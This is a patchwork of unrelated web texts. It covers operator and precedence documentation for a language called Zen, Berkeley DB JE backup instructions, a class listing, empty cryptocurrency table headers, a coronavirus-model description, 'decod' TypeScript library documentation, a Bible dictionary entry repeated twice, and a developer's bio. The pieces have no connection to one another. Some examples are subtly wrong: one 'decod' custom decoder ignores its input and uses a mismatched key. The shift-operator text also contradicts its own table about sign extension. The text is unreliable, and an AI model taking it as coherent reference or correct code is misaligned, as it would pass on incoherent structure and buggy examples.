Here, each bit is flipped to produce 1 or 0 if the corresponding bit is 0 or 1, respectively.
The Left Shift Operator
The left shift operator <<
shifts all of the bits in the first operand to
the left by a number of times specified by the second operand.
It has the following general form.
value << times
Where, times
specifies the number of positions to left-shift the specified value.
For each shift, the most significant bit is shifted out and lost. A zero is brought
in as the least significant bit. This means that when you left shift a 32-bit
integer operand, bits are lost after 32 positions.
The Right Shift Operator
The right shift operator >>
shifts all of the bits in the first operand to
the right by a number of times specified by the second operand.
It has the following general form.
value >> times
Where, times
specifies the number of positions to right-shift the specified value.
For each shift, the least significant bit is shifted out and lost. A zero is brought
in as the most significant bit. This means that when you right shift a 32-bit integer
operand, bits are lost after 32 positions.
Overriding Operators
Zen allows operator overriding through a combination of functions and
annotations. All the operators in Zen are dispatched to a function call.
The ZenKernel.evaluate(...)
function finds a suitable handler for the
operator defined within the operand object and dispatches it. In other words,
the compiler translates expressions with operators to equivalent
ZenKernel.evaluate(...)
calls.
For example, in the HashMap
class the following annotation
overrides the subscript operator.
@Operator symbol='[]'
function getValue(key)
...
With that information, consider the following snippet of code.
var emailAddresses = {
'Samuel Rowe'<EMAIL_ADDRESS>'Joel E. Rego'<EMAIL_ADDRESS>}
var myEmailAddress = emailAddresses['Samuel Rowe']
The above code snippet is equivalent to the following expression statement.
var emailAddresses = {
'Samuel Rowe'<EMAIL_ADDRESS>'Joel E. Rego'<EMAIL_ADDRESS>}
var myEmailAddress = ZenKernel.evaluate(emailAddresses, 'Samuel Rowe', '[]')
In fact, when you compile the former code snippet the compiler generates instructions as if the code was written in the latter form.
Combing Operators
The concepts explained in this section are very important. Do not worry if you find the concepts confusing. You can always come back and read the section later.
You can combine operators to form complex expessions. The order in which the operations are evaluated is determined by the precedence of the operators involved in the expression. For example, multiplication and division have a higher precedence than addition and subtraction.
Always remember, precedence rules can be overridden by explicit parentheses. They raise the precedence of the operations that are inside them. This is often necessary to obtain the result you desire. We recommend you to use parentheses whenever possible for clarity.
When two operators share an operand the operator with the higher precedence goes
first. For example, 1 + 2 * 3
is treated as 1 + (2 * 3)
, whereas 1 * 2 + 3
is treated as (1 * 2) + 3
since multiplication has a higher precedence than addition.
But what happens when two operators with the same precedence
occur in the same expression? In such cases, the expression is evaluated
according to the associativity of the operators involved.
For example, the expression x = y = z = 7
is equivalent to x = (y = (z = 7))
,
because the assignment operator has right-to-left associativity which means the
operators are evaluated from right to left.
Here’s another example. The expression 10 / 20 / 30
is equivalent to (10 / 20) / 30
because the /
division operator has left-to-right associativity.
Further, some operators are non-associative. For example, the expression x <= y <= z
is invalid.
The following table shows all operators in Zen from highest to lowest precedence, along with their associativity. You do not have to memorize them all. You will learn their properties eventually with practise.
| Precedence | Operator | Type | Associativity |
|---|---|---|---|
| 14 | () | Parentheses | left-to-right |
| [] | Subscript | ||
| · | Member selection | ||
| 13 | + | Unary plus | right-to-left |
| - | Unary minus | ||
| ! | Logical NOT | ||
| ~ | Bitwise NOT | ||
| 12 | * | Multiplication | left-to-right |
| / | Division (quotient) | ||
| % | Division (remainder) | ||
| 11 | + | Addition | left-to-right |
| - | Subtraction | ||
| 10 | « | Bitwise left shift | left-to-right |
| » | Bitwise right shift with sign extension | ||
| »> | Bitwise right shift with zero extension | ||
| 9 | < | Lesser than | left-to-right |
| <= | Lesser than or equal | ||
| > | Greater than | ||
| >= | Greater than or equal | ||
| is | Reference comparison | ||
| 8 | == | Equality | left-to-right |
| != | Inequality | ||
| 7 | & | Bitwise AND | left-to-right |
| 6 | ^ | Bitwise Exclusive OR | left-to-right |
| 5 | | | Bitwise Inclusive OR | left-to-right |
| 4 | && | Logical AND | left-to-right |
| 3 | || | Logical OR | left-to-right |
| 2 | ? : | Conditional | right-to-left |
| 1 | = | Assignment | |
| += | Addition and assignment | ||
| -= | Subtraction and assignment | ||
| *= | Multiplication and assignment | ||
| /= | Division (quotient) and assignment | ||
| &= | Bitwise AND and assignment | ||
| ^= | Bitwise XOR and assignment | ||
| |= | Bitwise OR and assignment | ||
| ~= | Bitwise NOT and assignment |


To backup your database, copy the log files (the
.jdb
files) starting from the lowest
numbered log file to the highest numbered log file to your
backup media. Be sure to copy the bytes of the individual
database files in order from the lowest to the highest. You do
not have to close your database or otherwise cease database
operations when you do this.
Note that if you are using subdirectories to store your log files, then you should copy those subdirectories and their contents instead of simply copying individual files. Multiple subdirectories can be used to improve JE throughput, but this feature is not turned on by default. See Multiple Environment Subdirectories for information on how to configure this feature.
Restoring a JE database from a backup consists of closing your JE environment, copying archived log files back into your environment directory and then opening your JE environment again. If you are using subdirectories to store your log files, then make sure to copy those subdirectories back into the environment home directory, and make sure the same log files are in each subdirectory as was there when you took the backup.
Note that whenever a JE environment is opened, JE runs normal recovery. This involves bringing your database into a consistent state given the changed data found in the database. If you are using transactions during normal operations, then JE automatically runs checkpoints for you so as to limit the time required to run this recovery. In any case, running normal recovery is a routine operation, while performing database restores is not.
For more information on JE backup and restores, and on checkpoints, see Backing up and Restoring Berkeley DB Java Edition Applications.


Package com.whirled.contrib.platformer.piece
Interfaces
Attachable
Classes
Actor
BoundData
BoundedPiece
DestructableGate
Dynamic
DynamicFactory
Gate
Hover
LaserShot
Piece
PieceFactory
Rect
RectDynamic
Shot
Spawner


Cryptocurrency Coins
Sort by Name
Sort by Price
Sort by Rank
Name
Symbol
Rank
Price (USD)
Percent change 24h


This is a coronavirus infection modeller. The model makes many assumptions and contains many tunable parameters. This is an infection modeler and allow anybody to play with the model and adjust any of the parameters. Further the complete live editable of the model is available for anybody to change or improve the model as more information becomes available.


Decode unknown
values into well-typed Typescript ones.
This is heavily inspired by bs-json, a Bucklescript module to decode JSON values and will provide you type-safe with low overhead input validation and typing by using the recently added unknown
type.
Typescript is great since you can add lightweight static typing to your node.js or web application. If you follow strict guidelines you should be able to crush runtime exceptions down to 0.
A common problem is that you often work with external services exchanging JSON and you might be tempted to statically cast those arbitrary JSON values from the outer world from any
to an interface definition of your choice.
Great! But what happens when this input, for whatever reason, differs slightly from the expected payload?
Leveraging the power of Typescript and the unknown
type, it is possible to validate and strongly type any uncertain value, at the same time!
Let say you call a third party REST API
export interface IResult {
id: string;
user: IUser;
}
export interface IUser {
firstName: string;
comments: string[];
email: string | null;
age?: number;
isCool: boolean;
}
const result: IResult = await get("https://cool.com/api");
Great, you typed your input reading the API doc, but what happens when the API slightly change, or if the developer made an error describing their APIs?
import * as decod from "decod";
const userDecoder = decod.props({
firstName: decod.at("firstName", decod.string),
comments: decod.at("comments", decod.array(decod.string)),
email: decod.at("email", decod.nullable(decod.string)),
age: decod.at("age", decod.optional(decod.number)),
isCool: decod.at("isCool", decod.bool),
});
const resultDecoder = decod.props({
id: decod.at("id", decod.string),
user: decod.at("user", userDecoder),
});
export type TResult = ReturnType<typeof resultDecoder>;
const result = resultDecoder(await get("https://cool.com/api"));
The most basic blocks of decod are the primitive decoders. These just basically assert that the type of the unknown
input you provide them is what you expect. If it is, you end up with your initial input value except now, as far as the typescript compiler is concerned, it's well-typed and not unknown
anymore. If it fails though, it will throw a ScalarDecoderError
(or a StrictDecoderError
for decod.is
) with nice information on the type (or value) you expected and the actual value you tried to decode.
decod.number
decod.string
decod.boolean
decod.null_
decod.undefined_
decod.date
decod.is
Among those, decod.is
is kinda special in that it checks that the input value not only matches the type you expect but also its actual value. Not that in order to do that, it only accepts values of primitive types (string
, number
, boolean
, null
or undefined
) otherwise it would need to perform deep equality in case of complex objects or arrays.
It's most often used in conjunction with decod.oneOf
to decode string enums for example:
type Droid = "r2d2" | "c3po";
const droidDecoder = decod.oneOf(decod.is("r2d2"), decod.is("c3po"));
Be careful, although in this case droidDecoder
will fail if its input is anything other than r2d2
or c3po
, typescript won't consider the result to be as strictly typed as you might want. If you want the typescript compiler to infer that droidDecoder
should have the type Decoder<Droid>
instead of simply Decoder<string>
, you have to either explicitly write that declaration or mark the arguments to decode.is
with as const
.
// Explicit typing
const droidDecoder: Decoder<Droid> = decod.oneOf(
decod.is("r2d2"),
decod.is("c3po"),
);
// `as const` declarations
const droidDecoder = decod.oneOf(
decod.is("r2d2" as const),
decod.is("c3po" as const),
);
Decoding primitive values is nice and all but it's pretty rare to want to decode some JSON that's just one scalar value. Thankfully, decod provides some nice combinators that allows you to build more complex decoders. We'll go into some more details about each of those.
decod.oneOf
We've already seen an example of decod.oneOf
. It's behaviour is pretty straightforward, it just takes as arguments an arbitrary number of decoders (primitive or compound ones), trys them all in order and stops at the first one that succeeds. If none of them does, it throws a OneOfDecoderError
.
For example, primitive decoders are strict, meaning they don't allow null
or undefined
values. decod.oneOf
lets us define nullable decoders from primitive ones. In fact, that is exactly how decod.nullable
is implemented! There is no magic to it.
const nullable = (decoder: Decoder<T>) => decod.oneOf(decoder, decod.null_);
const nullableString = nullable(decod.string);
decod.nullable
and decod.optional
Just like we saw, decod already provides for you decod.nullable
that will transform any Decoder<T>
into a Decoder<T | null>
. It also provides decod.optional
that transforms a Decoder<T>
into a Decoder<T | null | undefined>
.
decod.array
Another useful decoder transformer is decod.array
that will transform a Decoder<T>
into a Decoder<Array<T>>
.
decod.attempt
and decod.try_
Sometimes, you just want to try to decode something, but if it fails for some reason, have it recover with a default value. That's what decod.try_
and decod.attempt
do (they really are just synonyms of each other).
They accept any decoder for a type T
alongside an optional default value of type T
. If the decoder fails the input will decode to either undefined
(if no default value is provided) or the provided default value instead of throwing.
const lenientStringDecoder = decod.attempt(decod.string);
const lenientStringDecoderWithDefault = decod.try_(decod.string, "");
decod.assoc
When you want to decode some JSON with dynamically generated keys, you might not know in advance which of those keys you're interested in. For those cases, decod.assoc
takes two decoders, one for the keys (Decoder<K>
) and one for the values (Decoder<V>
) and returns a structure containing those key/value pairs Decoder<Array<{ key: K, value: V }>>
.
const dynamicJSON = `{
"key1": 42,
"key2": 1337,
"key128": 0
}`;
const kvDecoder = decod.assoc(decod.string, decod.number);
const kvs = kvDecoder(JSON.parse(dynamicJSON));
// => kvs will have value:
// [
// { key: 'key1', value: 42 },
// { key: 'key2', value: 1337 },
// { key: 'key128', value: 0 }
// ]
decod.at
JSON is an inherently hierarchical data format. Most of the time, you'll want to decode a specific field into some well-typed value. And sometimes, that field will be arbitrarily nested in the hierarchy. That's precisely what decod.at
will help you with. It can take various kind of arguments:
string
in case you want to access a top level fieldnumber
for when you want to index a specific value from a JSON arrayArray<string | number>
when you search for a deeply nested fieldconst someJSON = `{
"movie": "Star Wars",
"director": {
"first_name": "George",
"last_name": "Lucas"
},
"droids": [
"r2d2",
"c3po"
]
}`;
// Top level field
const movieDecoder = decod.at("movie", decod.string);
// Nested Field
const directorLastNameDecoder = decod.at(
["director", "last_name"],
decod.string,
);
// Array index
const r2d2Decoder = decod.at(["droids", 0], decod.is("r2d2" as const));
const movie = movieDecoder(JSON.parse(someJSON));
const directorLastName = directorLastNameDecoder(JSON.parse(someJSON));
const r2d2 = r2d2Decoder(JSON.parse(someJSON));
decod.props
This is, hands down, the most useful combinator of all. That's why it is the one showcased in the overview at the top of this documentation.
decod.props
will let you declare the structure you want to decode into, associating each field with the decoder for that field.
Let's say you want to decode the JSON structure shown above into the following interface:
type Droid = "r2d2" | "c3po";
interface StarWars {
movie: string;
director: string;
droids?: Array<Droid>;
}
This is how you would do it, using decod.props
:
const droidDecoder = decod.oneOf(
decod.is("r2d2" as const),
decod.is("c3po" as const),
);
const directorDecoder = (input: unknown) => {
const firstName = decod.at("first_name", decod.string);
const lastName = decod.at("last_name", decod.string);
return `${firstName} ${lastName}`;
};
const starWarsDecoder = decod.props({
movie: decod.at("movie", decod.string),
director: decod.at("director", directorDecoder),
droids: decod.at("droid", decod.array(droidDecoder)),
});
See what we did here? We even created our own custom compound decoder in directorDecoder
! Remember that a Decoder<T>
is really just an alias for a function type (input: unknown) => T
.
As long as you respect that contract, you can use any of your own functions from unknown
to any arbitrary T
as decoders in your combinators.
Please note that this is just a toy example. In a real life application, you would want to catch any exception in your custom decoder to either recover from it or throw a more meaningfull error that will help you identify failures down the line.
Generated using TypeDoc


"KOZ "thorn. (1.) A descendant of Judah. 1 Chronicles 4:8, “Coz;” R.V.,“Hakkoz.”(2.) A priest, the head of the seventh division of the priests (Ezra 2:61; Nehemiah 3:4, 21; 7:63). In 1 Chronicles 24:10 the word has the article prefixed, and it is taken as a part of the word “Hakkoz.”
"KOZ "thorn. (1.) A descendant of Judah. 1 Chronicles 4:8, “Coz;” R.V.,“Hakkoz.”(2.) A priest, the head of the seventh division of the priests (Ezra 2:61; Nehemiah 3:4, 21; 7:63). In 1 Chronicles 24:10 the word has the article prefixed, and it is taken as a part of the word “Hakkoz.”


I'm a Software Engineer, currently working as Web Developer at Chialab, a communication and design company based in Bologna.
I graduated at 25 in Software Engineering, in Bologna. My graduation thesis was about IoT in Sports, and featured the implementation of a complete IoT platform, moving data from sensors to a Web dashboard.
After 4+ of experience working with Web technologies, I discovered my passion about innovative communication solutions such as Augmented Reality. So, I started to dig into AR.js, the most popular Web AR project in Open Source. With time, I became the maintainer of the project and now I continue to keep it alive and to build a community around it. I'm now leading the project, periodically adding features to it and managing issues.
I'm also the author of GeoAR.js, the first Location-Based Web AR library, written in Javascript and thought for the Web. I'm an AR teacher and researcher.
I'm also an expert about Web Accessibility. I periodically write on Medium, a blog platform, about Augmented Reality, Agile development and Accessibility. Sometimes, I take part to tech conferences as speaker. I had also experience as teacher about Agile Software Development in post-graduate schools, in Bologna.
My aim is to make possible for everyone, students, artists, teachers, developers, to build useful experiences with Augmented Reality, for free, using Open Source software. Augmented Reality can be used for learning, to treat particular kinds of phobias, to find new ways of interacting with the world, and to communicate. It can be used to provide informations that we usually don't have, and to provide help to those who need it.
I see too much potential on this technology wasted with funny and unuseful projects. There's nothing bad in having fun with it. What's not right, in my opinion, is to concentrate on technology only and not enough on its possible, useful use cases. Next years I will focus, among the other things, on this mission.